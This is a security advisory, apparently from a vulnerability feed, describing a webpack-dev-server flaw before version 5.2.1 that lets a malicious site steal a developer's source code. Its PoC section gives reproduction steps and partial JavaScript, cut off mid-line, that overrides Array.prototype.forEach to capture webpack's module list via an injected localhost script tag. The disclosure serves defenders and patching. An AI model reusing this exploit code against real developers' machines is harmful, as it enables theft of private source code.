Affected: CleanStart: argo-workflows

Security vulnerability affects the argo-workflows package. This issue is resolved in later releases. See references for vulnerability details.

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

Affected: npm: webpack-dev-server

### Summary Source code may be stolen when you access a malicious web site.

### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:8080/main.js">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.

### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/` 5. You can see the source code output in the document and the devtools console.


The script in the POC site is: ```js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m }

const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach }

const script = document.createElement('script') script.src = 'http://localh…